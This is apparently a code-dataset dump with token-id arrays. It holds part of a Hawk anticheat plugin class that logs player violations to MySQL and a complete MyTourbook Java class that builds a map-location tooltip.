public void closeConnection() {
if (conn != null) {
try {
conn.close();
hawk.getLogger().info("Closed SQL connection.");
} catch (SQLException e) {
e.printStackTrace();
enabled = false;
}
}
}
public void createTableIfNotExists() {
if (!enabled) return;
try {
PreparedStatement create = conn.prepareStatement("CREATE TABLE IF NOT EXISTS `hawkviolations` ( `id` INT(8) NOT NULL AUTO_INCREMENT, `uuid` VARCHAR(64) NOT NULL , `check` VARCHAR(32) NOT NULL , `ping` INT(5) NOT NULL , `vl` INT(5) NOT NULL , `server` VARCHAR(255) NOT NULL , `time` TIMESTAMP NOT NULL , PRIMARY KEY (`id`))");
create.executeUpdate();
hawk.getLogger().info("SQL logging enabled successfully.");
} catch (Exception e) {
hawk.getLogger().warning("An error occurred while attempting to check if table \"hawkviolations\" exists!");
e.printStackTrace();
closeConnection();
enabled = false;
}
}
//to be called every second by Hawk's scheduler task
public void tick() {
if(loopCounter >= postInterval) {
loopCounter = 0;
postBuffer();
}
loopCounter++;
}
public void addToBuffer(Violation violation) {
if (!enabled) return;
violations.add(violation);
}
private void postBuffer() {
if (!enabled || violations.size() == 0)
return;
List<Violation> asyncList = new ArrayList<>(violations);
violations.clear();
BukkitScheduler hawkLogger = Bukkit.getServer().getScheduler();
hawkLogger.runTaskAsynchronously(hawk, () -> {
PreparedStatement ps;
try {
ps = conn.prepareStatement(INSERT_TABLE);
for (Violation loopViolation : asyncList) {
ps.setNull(1, Types.INTEGER);
ps.setObject(2, loopViolation.getPlayer().getUniqueId(), Types.VARCHAR);
ps.setObject(3, loopViolation.getCheck(), Types.VARCHAR);
ps.setObject(4, loopViolation.getPing(), Types.INTEGER);
ps.setObject(5, loopViolation.getVl(), Types.INTEGER);
ps.setObject(6, loopViolation.getServer(), Types.VARCHAR);
ps.setTimestamp(7, new Timestamp(loopViolation.getTime()));
ps.addBatch();
}
ps.executeBatch();
}
catch (SQLException e) {
e.printStackTrace();
}
});
}
public boolean isRunning() {
return conn != null && enabled;
}
}
| 6,200
|
Java
|
.java
|
HawkAnticheat/Hawk
| 114
| 23
| 7
|
2018-07-25T01:14:50Z
|
2023-07-08T23:03:40Z
|
7bcfc5d5083e737c076d0e1d6033dc16fb57d91b5d5da3ca86debc6f7eb654a8
|
[
1127,
222,
338,
1369,
822,
458,
1760,
451,
696,
23275,
16396,
17330,
288,
51,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
61,
696,
23275,
15606,
12653,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
222,
1337,
616,
51,
20890,
6002,
6149,
51,
109,
23275,
51,
1663,
64,
222,
222,
485,
616,
51,
20890,
6002,
6149,
51,
109,
23275,
51,
77,
23275,
64,
222,
485,
616,
51,
20890,
6002,
6149,
51,
109,
23275,
51,
1058,
51,
1081,
2775,
64,
222,
485,
616,
51,
20890,
6002,
6149,
51,
109,
23275,
51,
1058,
51,
28030,
64,
222,
485,
1105,
51,
20402,
51,
982,
17120,
64,
222,
485,
1105,
51,
20402,
51,
13273,
51,
982,
17120,
11438,
64,
222,
222,
485,
1401,
51,
2622,
7737,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
4293,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
942,
462,
4447,
2478,
320,
465,
964,
1175,
696,
23275,
439,
23275,
64,
303,
964,
1922,
5892,
64,
303,
964,
1175,
648,
2381,
5766,
64,
303,
964,
1175,
1701,
65,
28030,
67,
48954,
64,
303,
964,
9475,
4580,
64,
303,
964,
4514,
5276,
6489,
64,
303,
964,
924,
1175,
910,
4050,
100,
17748,
100,
35855,
299,
332,
3330,
61,
884,
303,
964,
924,
1175,
910,
24521,
100,
6950,
299,
332,
2648,
2659,
548,
109,
23275,
4811,
42633,
101,
332,
494,
343,
332,
4217,
333,
1818,
548,
6615,
1818,
548,
1571,
1818,
548,
7090,
1818,
548,
11392,
1818,
548,
1805,
1818,
548,
1021,
4545,
2757,
332,
494,
343,
11616,
32924,
32924,
32924,
10234,
884,
465,
453,
106,
10441,
109,
1198,
457,
3558,
580,
2285,
545,
6106,
434,
696,
23275,
5069,
341,
3518,
391,
5362,
575,
7383,
477,
2313,
51,
303,
453,
5478,
102,
2240,
692,
391,
3558,
708,
18608,
1761,
477,
2285,
13292,
5362,
580,
1198,
303,
581,
4447,
2478,
45,
77,
23275,
439,
23275,
46,
320,
310,
477,
51,
109,
23275,
299,
439,
23275,
64,
310,
5892,
299,
3395,
2775,
51,
390,
1543,
43104,
45,
1886,
49,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
6572,
742,
310,
2381,
5766,
299,
3395,
2775,
51,
390,
1543,
43104,
45,
59,
53,
49,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
1896,
5766,
742,
310,
48954,
299,
15490,
51,
34508,
739,
45,
909,
5068,
13366,
1052,
310,
910,
3421,
299,
3395,
2775,
51,
390,
1543,
43104,
459,
54,
55,
60,
51,
53,
51,
53,
51,
54,
411,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
2067,
742,
310,
910,
2618,
299,
3395,
2775,
51,
390,
1543,
43104,
459,
56,
56,
53,
59,
411,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
644,
742,
310,
910,
5373,
7970,
299,
3395,
2775,
51,
390,
1543,
43104,
45,
5815,
100,
17748,
100,
35855,
49,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
10200,
7970,
742,
310,
910,
3520,
299,
3395,
2775,
51,
390,
1543,
43104,
13963,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
4617,
742,
310,
910,
1275,
299,
3395,
2775,
51,
390,
1543,
43104,
13963,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
715,
742,
310,
910,
3894,
299,
3395,
2775,
51,
390,
1543,
43104,
13963,
439,
23275,
51,
21431,
1046,
332,
2622,
51,
2911,
742,
310,
2177,
2815,
45,
2067,
49,
2618,
49,
1275,
49,
3520,
49,
3894,
49,
5373,
7970,
312,
303,
339,
465,
964,
782,
2177,
2815,
45,
671,
15870,
49,
910,
2618,
49,
910,
969,
49,
910,
3520,
49,
910,
3894,
49,
910,
1370,
7970,
46,
320,
310,
434,
1445,
6572,
46,
461,
64,
310,
1614,
320,
343,
1727,
51,
31918,
459,
527,
51,
7546,
51,
14704,
51,
6641,
742,
343,
453,
662,
574,
16061,
51,
527,
52,
102,
52,
56,
53,
57,
55,
59,
57,
59,
343,
910,
2001,
299,
332,
14704,
63,
7546,
35398,
494,
15870,
494,
17903,
494,
2618,
494,
13198,
494,
3520,
494,
25661,
10200,
7970,
366,
494,
1370,
7970,
64,
343,
4580,
299,
10408,
1590,
51,
20712,
45,
983,
49,
969,
49,
3894,
312,
343,
439,
23275,
51,
10588,
941,
1357,
459,
11883,
391,
4447,
2160,
5377,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
503,
51,
9428,
492,
343,
4248,
2815,
492,
343,
5892,
299,
920,
64,
310,
339,
303,
339,
465,
581,
782,
4248,
2815,
365,
320,
310,
434,
327,
3795,
882,
762,
46,
320,
343,
1614,
320,
419,
4580,
51,
2698,
492,
419,
439,
23275,
51,
10588,
941,
1357,
459,
13629,
4447,
3401,
5377,
343,
339,
2385,
327,
20335,
503,
46,
320,
419,
503,
51,
9428,
492,
419,
5892,
299,
920,
64,
343,
339,
310,
339,
303,
339,
465,
581,
782,
1506,
1617,
34584,
7544,
365,
320,
310,
434,
1445,
6572,
46,
461,
64,
310,
1614,
320,
343,
41894,
1506,
299,
4580,
51,
35425,
459,
6046,
4934,
5515,
2387,
12141,
548,
109,
23275,
4811,
42633,
101,
327,
548,
333,
101,
5992,
45,
61,
46,
2387,
1199,
9834,
100,
10426,
49,
548,
6615,
101,
14053,
45,
59,
57,
46,
2387,
1199,
1737,
548,
1571,
101,
14053,
45,
56,
55,
46,
2387,
1199,
1737,
548,
7090,
101,
5992,
45,
58,
46,
2387,
1199,
1737,
548,
11392,
101,
5992,
45,
58,
46,
2387,
1199,
1737,
548,
1805,
101,
14053,
45,
55,
58,
58,
46,
2387,
1199,
1737,
548,
1021,
101,
38171,
2387,
1199,
1737,
11193,
5591,
5074,
333,
101,
509,
742,
343,
1506,
51,
42164,
492,
343,
439,
23275,
51,
10588,
941,
1357,
459,
3566,
5751,
5892,
7519,
5377,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
439,
23275,
51,
10588,
941,
5718,
459,
1062,
1067,
12341,
2236,
25741,
391,
1524,
434,
1877,
4045,
109,
23275,
4811,
42633,
1508,
5394,
9318,
343,
503,
51,
9428,
492,
343,
4248,
2815,
492,
343,
5892,
299,
920,
64,
310,
339,
303,
339,
465,
453,
471,
545,
3845,
3659,
3118,
829,
696,
23275,
1200,
13589,
2918,
303,
581,
782,
12931,
365,
320,
310,
434,
45,
5856,
6489,
2394,
2381,
5766,
46,
320,
343,
5276,
6489,
299,
244,
53,
64,
343,
2381,
2030,
492,
310,
339,
310,
5276,
6489,
3348,
303,
339,
465,
581,
782,
33625,
2030,
45,
28030,
36665,
46,
320,
310,
434,
1445,
6572,
46,
461,
64,
310,
48954,
51,
688,
45,
46491,
312,
303,
339,
465,
964,
782,
2381,
2030,
365,
320,
310,
434,
1445,
6572,
1293,
48954,
51,
911,
365,
630,
244,
53,
46,
343,
461,
64,
603,
1701,
65,
28030,
67,
2513,
739,
299,
556,
5068,
11530,
4811,
42633,
312,
310,
48954,
51,
3830,
492,
603,
2755,
17120,
11438,
439,
23275,
3716,
299,
2755,
17120,
51,
32789,
941,
390,
11438,
492,
310,
439,
23275,
3716,
51,
1967,
2265,
1482,
43241,
45,
109,
23275,
49,
1423,
984,
320,
343,
41894,
9680,
64,
343,
1614,
320,
419,
9680,
299,
4580,
51,
35425,
45,
2648,
100,
6950,
312,
2125,
456,
327,
28030,
5276,
28030,
518,
2513,
739,
46,
320,
547,
9680,
51,
489,
1898,
45,
54,
49,
13413,
51,
13770,
312,
547,
9680,
51,
489,
976,
45,
55,
49,
5276,
28030,
51,
32872,
941,
390,
34245,
1046,
13413,
51,
28232,
312,
547,
9680,
51,
489,
976,
45,
56,
49,
5276,
28030,
51,
390,
2157,
1046,
13413,
51,
28232,
312,
547,
9680,
51,
489,
976,
45,
57,
49,
5276,
28030,
51,
390,
19807,
1046,
13413,
51,
13770,
312,
547,
9680,
51,
489,
976,
45,
58,
49,
5276,
28030,
51,
390,
29678,
1046,
13413,
51,
13770,
312,
547,
9680,
51,
489,
976,
45,
59,
49,
5276,
28030,
51,
32789,
1046,
13413,
51,
28232,
312,
547,
9680,
51,
489,
7477,
45,
60,
49,
556,
18367,
45,
5856,
28030,
51,
11960,
5086,
547,
9680,
51,
688,
6554,
492,
419,
339,
2125,
9680,
51,
4540,
6554,
492,
1083,
339,
343,
2385,
327,
20335,
503,
46,
320,
419,
503,
51,
9428,
492,
343,
339,
310,
1141,
303,
339,
465,
581,
1922,
458,
9519,
365,
320,
310,
461,
4580,
882,
762,
979,
5892,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,445
| true
| 61.435484
| true
| true
|
MapLocationToolTip.java
|
/FileExtraction/Java_unseen/mytourbook_mytourbook/bundles/net.tourbook/src/net/tourbook/map/location/MapLocationToolTip.java
|
/*******************************************************************************
* Copyright (C) 2024 Wolfgang Schramm and Contributors
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*******************************************************************************/
package net.tourbook.map.location;
import de.byteholder.geoclipse.map.Map2;
import de.byteholder.geoclipse.map.PaintedMapLocation;
import net.tourbook.common.UI;
import net.tourbook.common.font.MTFont;
import net.tourbook.common.util.ToolTip;
import net.tourbook.tour.location.TourLocationExtended;
import net.tourbook.tour.location.TourLocationUI;
import net.tourbook.ui.Messages;
import org.eclipse.jface.layout.GridDataFactory;
import org.eclipse.jface.layout.GridLayoutFactory;
import org.eclipse.swt.SWT;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Control;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Text;
/**
* Tour info tooltip, implemented custom tooltip similar like
* {@link org.eclipse.ui.internal.dialogs.CustomizePerspectiveDialog} and
* {@link org.eclipse.jface.viewers.ColumnViewerToolTipSupport}
*/
public class MapLocationToolTip extends ToolTip {
private Map2 _map2;
private PaintedMapLocation _hoveredItem;
public MapLocationToolTip(final Map2 map2) {
super(map2, NO_RECREATE, true);
_map2 = map2;
// allow the actions to be selected
setHideOnMouseDown(false);
setPopupDelay(20);
}
@Override
public Composite createToolTipContentArea(final Event event, final Composite parent) {
final Composite shellContainer = new Composite(parent, SWT.NONE);
GridLayoutFactory.fillDefaults().applyTo(shellContainer);
{
final Composite _ttContainer = new Composite(shellContainer, SWT.NONE);
GridLayoutFactory.fillDefaults().margins(SHELL_MARGIN, SHELL_MARGIN).applyTo(_ttContainer);
{
createUI(_ttContainer);
}
}
return shellContainer;
}
private void createUI(final Composite parent) {
final TourLocationExtended tourLocationExtended = _hoveredItem.tourLocationExtended;
final GridDataFactory headerIndent = GridDataFactory.fillDefaults()
.span(2, 1)
// indent to the left that this text is aligned with the labels
.indent(-4, 0);
final Composite container = new Composite(parent, SWT.NONE);
GridDataFactory.fillDefaults().grab(true, false).applyTo(container);
GridLayoutFactory.fillDefaults().numColumns(2).spacing(5, 3).applyTo(container);
// container.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_GREEN));
{
{
/*
* Title
*/
// using text control that & is not displayed as mnemonic
final Text headerTitle = new Text(container, SWT.READ_ONLY);
headerIndent.applyTo(headerTitle);
MTFont.setBannerFont(headerTitle);
String headerText = UI.EMPTY_STRING;
switch (tourLocationExtended.locationType) {
case Common -> headerText = Messages.Tour_Location_Label_CommonLocation;
case Tour -> headerText = Messages.Tour_Location_Tooltip_Title;
case TourStart -> headerText = Messages.ColumnFactory_Tour_LocationStart_Title;
case TourEnd -> headerText = Messages.ColumnFactory_Tour_LocationEnd_Title;
}
headerTitle.setText(headerText);
}
UI.createSpacer_Vertical(container, 8, 2);
{
/*
* Display name
*/
final String displayName = tourLocationExtended.tourLocation.display_name;
if (displayName != null && displayName.length() > 0) {
final Text text = new Text(container, SWT.READ_ONLY | SWT.WRAP);
headerIndent.applyTo(text);
text.setText(displayName);
setMaxContentWidth(text);
}
}
UI.createSpacer_Vertical(container, 16, 2);
/*
* Location fields
*/
TourLocationUI.createUI(container, tourLocationExtended.tourLocation);
}
}
@Override
public Point getLocation(final Point tipSize, final Event event) {
if (_hoveredItem != null) {
final Display display = _map2.getDisplay();
final int tipSizeWidth = tipSize.x;
final int tipSizeHeight = tipSize.y;
final Point devMouse = _map2.toControl(display.getCursorLocation());
final int devMouseX = devMouse.x;
final Rectangle itemBounds = _hoveredItem.locationRectangle;
final int itemWidth2 = itemBounds.width / 2;
final int itemHeight = itemBounds.height;
// center horizontally to the mouse position
final int devXDefault = devMouseX - tipSizeWidth / 2;
final int devY = itemBounds.y + itemHeight;
/*
* Check if the tooltip is outside of the parent
*/
final Rectangle mapBounds = _map2.getBounds();
boolean isDevXAdjusted = false;
int devX = devXDefault;
if (devXDefault >= mapBounds.width) {
devX = mapBounds.width - 40;
isDevXAdjusted = true;
}
final Rectangle displayBounds = display.getBounds();
Point ttDisplayLocation = _map2.toDisplay(devX, devY);
if (ttDisplayLocation.x + tipSizeWidth > displayBounds.width) {
/*
* Adjust horizontal position, it is outside of the display, prevent default
* repositioning
*/
if (isDevXAdjusted) {
ttDisplayLocation = _map2.toDisplay(devXDefault - itemWidth2 + 20 - tipSizeWidth, devY);
} else {
ttDisplayLocation.x = ttDisplayLocation.x - tipSizeWidth;
}
}
if (ttDisplayLocation.y + tipSizeHeight > displayBounds.height) {
/*
* Adjust vertical position, it is outside of the display, prevent default
* repositioning
*/
ttDisplayLocation.y = ttDisplayLocation.y - tipSizeHeight - itemHeight;
}
return fixupDisplayBoundsWithMonitor(tipSize, ttDisplayLocation);
}
return super.getLocation(tipSize, event);
}
@Override
protected Object getToolTipArea(final Event event) {
final PaintedMapLocation ttArea = _hoveredItem = _map2.getHoveredMapLocation();
return ttArea;
}
private void setMaxContentWidth(final Control control) {
final int maxContentWidth = 300;
final GridData gd = (GridData) control.getLayoutData();
final Point contentSize = control.computeSize(SWT.DEFAULT, SWT.DEFAULT);
if (contentSize.x > maxContentWidth) {
// adjust max width
gd.widthHint = maxContentWidth;
} else {
// reset layout width
gd.widthHint = SWT.DEFAULT;
}
}
@Override
protected boolean shouldCreateToolTip(final Event event) {
// if (_map2.isShowMapLocationTooltip() == false) {
// return false;
// }
if (super.shouldCreateToolTip(event) == false) {
return false;
}
if (_hoveredItem == null) {
return false;
}
return true;
}
}
| 8,163
|
Java
|
.java
|
mytourbook/mytourbook
| 56
| 18
| 160
|
2015-07-20T14:09:26Z
|
2024-05-09T05:32:33Z
|
81060f7cd01edbbbe2ce4fef72c4420ea1eb31a0bb98b0d6e5526872cb21b6d5
|
[
28683,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
55,
57,
643,
381,
4658,
761,
10469,
4344,
114,
480,
26368,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
1549,
222,
338,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
341,
7834,
3870,
222,
338,
7120,
1522,
244,
55,
451,
341,
1196,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
8114,
222,
338,
4800,
418,
7848,
7763,
51,
2819,
341,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
7979,
642,
222,
338,
477,
3477,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
49,
15067,
222,
13533,
13214,
222,
1337,
3723,
51,
19628,
2629,
51,
1130,
51,
2665,
64,
222,
222,
485,
428,
51,
2278,
3757,
51,
319,
561,
6522,
51,
1130,
51,
1225,
55,
64,
222,
485,
428,
51,
2278,
3757,
51,
319,
561,
6522,
51,
1130,
51,
12297,
337,
1225,
2941,
64,
222,
222,
485,
3723,
51,
19628,
2629,
51,
2297,
51,
2299,
64,
222,
485,
3723,
51,
19628,
2629,
51,
2297,
51,
2204,
51,
3911,
3728,
64,
222,
485,
3723,
51,
19628,
2629,
51,
2297,
51,
1058,
51,
20495,
64,
222,
485,
3723,
51,
19628,
2629,
51,
19628,
51,
2665,
51,
34168,
2941,
14856,
64,
222,
485,
3723,
51,
19628,
2629,
51,
19628,
51,
2665,
51,
34168,
2941,
2299,
64,
222,
485,
3723,
51,
19628,
2629,
51,
1726,
51,
6389,
64,
222,
222,
485,
1105,
51,
8327,
51,
111,
1179,
51,
3106,
51,
3567,
768,
2232,
64,
222,
485,
1105,
51,
8327,
51,
111,
1179,
51,
3106,
51,
48532,
2232,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
5696,
89,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
7027,
51,
1962,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
7027,
51,
12954,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
3106,
51,
3567,
768,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
12081,
51,
14377,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
12081,
51,
2436,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
12081,
51,
3948,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
12081,
51,
1167,
64,
222,
485,
1105,
51,
8327,
51,
28519,
51,
12081,
51,
1049,
64,
222,
222,
1350,
222,
338,
413,
534,
3116,
14700,
49,
7613,
3137,
14700,
6735,
2144,
222,
338,
3105,
1222,
1105,
51,
8327,
51,
1726,
51,
3269,
51,
41463,
51,
3414,
537,
44721,
3742,
130,
480,
222,
338,
3105,
1222,
1105,
51,
8327,
51,
111,
1179,
51,
1090,
502,
51,
2154,
12512,
20495,
4417,
130,
222,
588,
222,
942,
462,
3531,
2941,
20495,
2041,
10023,
6251,
320,
3051,
964,
3531,
55,
3403,
634,
1130,
55,
64,
3051,
964,
24999,
337,
1225,
2941,
634,
6417,
337,
1114,
64,
3051,
581,
3531,
2941,
20495,
45,
3242,
3531,
55,
2010,
55,
46,
320,
1704,
2615,
45,
1130,
55,
49,
4452,
100,
632,
6046,
49,
878,
312,
1704,
634,
1130,
55,
299,
2010,
55,
64,
1704,
453,
2625,
341,
6905,
391,
545,
4337,
416,
758,
13483,
1501,
31534,
45,
1886,
312,
1704,
758,
11131,
8221,
45,
55,
53,
312,
682,
339,
3051,
496,
1806,
682,
581,
26431,
1506,
20495,
1795,
5585,
45,
3242,
3916,
1708,
49,
1175,
26431,
2952,
46,
320,
1704,
1175,
26431,
9092,
2894,
299,
556,
26431,
45,
2562,
49,
26294,
51,
8476,
312,
416,
7877,
2362,
2232,
51,
4182,
14486,
941,
4740,
724,
45,
7890,
2894,
312,
416,
320,
295,
1175,
26431,
634,
2269,
2894,
299,
556,
26431,
45,
7890,
2894,
49,
26294,
51,
8476,
312,
295,
7877,
2362,
2232,
51,
4182,
14486,
941,
4553,
120,
45,
41440,
100,
82,
43395,
49,
377,
1692,
3218,
100,
82,
43395,
566,
4740,
724,
2191,
2269,
2894,
312,
295,
320,
343,
1506,
2299,
2191,
2269,
2894,
312,
295,
339,
416,
339,
1704,
461,
9092,
2894,
64,
682,
339,
3051,
964,
782,
1506,
2299,
45,
3242,
26431,
2952,
46,
320,
1704,
1175,
413,
534,
2941,
14856,
35804,
2941,
14856,
299,
634,
6417,
337,
1114,
51,
19628,
2941,
14856,
64,
1704,
1175,
7877,
768,
2232,
3353,
13489,
299,
7877,
768,
2232,
51,
4182,
14486,
365,
1083,
657,
681,
45,
55,
49,
244,
54,
46,
1083,
453,
10549,
391,
341,
2859,
708,
477,
1367,
458,
19639,
642,
341,
6577,
343,
657,
9383,
3766,
57,
49,
244,
53,
312,
1704,
1175,
26431,
3863,
299,
556,
26431,
45,
2562,
49,
26294,
51,
8476,
312,
416,
7877,
768,
2232,
51,
4182,
14486,
941,
28577,
45,
1527,
49,
920,
566,
4740,
724,
45,
2646,
312,
416,
7877,
2362,
2232,
51,
4182,
14486,
941,
1538,
7633,
45,
55,
566,
10315,
45,
58,
49,
244,
56,
566,
4740,
724,
45,
2646,
312,
222,
325,
665,
3863,
51,
28525,
45,
3948,
51,
12344,
941,
29967,
1530,
45,
5696,
89,
51,
6237,
100,
23944,
894,
416,
320,
295,
320,
343,
1276,
1819,
338,
1994,
1819,
588,
1083,
453,
1493,
1367,
3518,
708,
568,
458,
666,
11083,
641,
42064,
343,
1175,
3336,
3353,
3188,
299,
556,
3336,
45,
2646,
49,
26294,
51,
4423,
100,
13003,
312,
343,
3353,
13489,
51,
4740,
724,
45,
2127,
3188,
312,
343,
12471,
3728,
51,
489,
20781,
3728,
45,
2127,
3188,
312,
1083,
910,
3353,
1049,
299,
5326,
51,
13070,
100,
5215,
64,
1083,
3593,
327,
19628,
2941,
14856,
51,
2665,
638,
46,
320,
343,
1152,
8762,
283,
984,
3353,
1049,
299,
22617,
51,
34168,
100,
2941,
100,
2186,
100,
5248,
2941,
64,
343,
1152,
413,
534,
665,
984,
3353,
1049,
299,
22617,
51,
34168,
100,
2941,
100,
12896,
100,
3188,
64,
343,
1152,
413,
534,
2148,
984,
3353,
1049,
299,
22617,
51,
2154,
2232,
100,
34168,
100,
2941,
2148,
100,
3188,
64,
343,
1152,
413,
534,
2117,
280,
984,
3353,
1049,
299,
22617,
51,
2154,
2232,
100,
34168,
100,
2941,
2117,
100,
3188,
64,
343,
339,
1083,
3353,
3188,
51,
6619,
45,
2127,
1049,
312,
295,
339,
11274,
5326,
51,
1315,
41484,
100,
11916,
45,
2646,
49,
244,
61,
49,
244,
55,
312,
11274,
320,
343,
1276,
1819,
338,
8547,
655,
1819,
588,
1083,
1175,
910,
23058,
299,
35804,
2941,
14856,
51,
19628,
2941,
51,
2784,
100,
444,
64,
1083,
434,
327,
16169,
882,
762,
979,
23058,
51,
1340,
365,
868,
244,
53,
46,
320,
30760,
1175,
3336,
1367,
299,
556,
3336,
45,
2646,
49,
26294,
51,
4423,
100,
13003,
542,
26294,
51,
13972,
312,
3102,
3353,
13489,
51,
4740,
724,
45,
897,
312,
30760,
1367,
51,
6619,
45,
16169,
312,
30760,
758,
2725,
1795,
2627,
45,
897,
312,
343,
339,
295,
339,
11274,
5326,
51,
1315,
41484,
100,
11916,
45,
2646,
49,
244,
54,
59,
49,
244,
55,
312,
11274,
1276,
633,
338,
10642,
3844,
633,
588,
295,
413,
534,
2941,
2299,
51,
1315,
2299,
45,
2646,
49,
35804,
2941,
14856,
51,
19628,
2941,
312,
416,
339,
682,
339,
3051,
496,
1806,
682,
581,
6460,
640,
2941,
45,
3242,
6460,
8318,
1269,
49,
1175,
3916,
1708,
46,
320,
1704,
434,
4648,
6417,
337,
1114,
882,
762,
46,
320,
11274,
1175,
8547,
2540,
299,
634,
1130,
55,
51,
47033,
492,
11274,
1175,
648,
8318,
1269,
2627,
299,
8318,
1269,
51,
125,
64,
295,
1175,
648,
8318,
1269,
3041,
299,
8318,
1269,
51,
126,
64,
11274,
1175,
6460,
5693,
6042,
299,
634,
1130,
55,
51,
471,
2436,
45,
2784,
51,
390,
7424,
2941,
1052,
295,
1175,
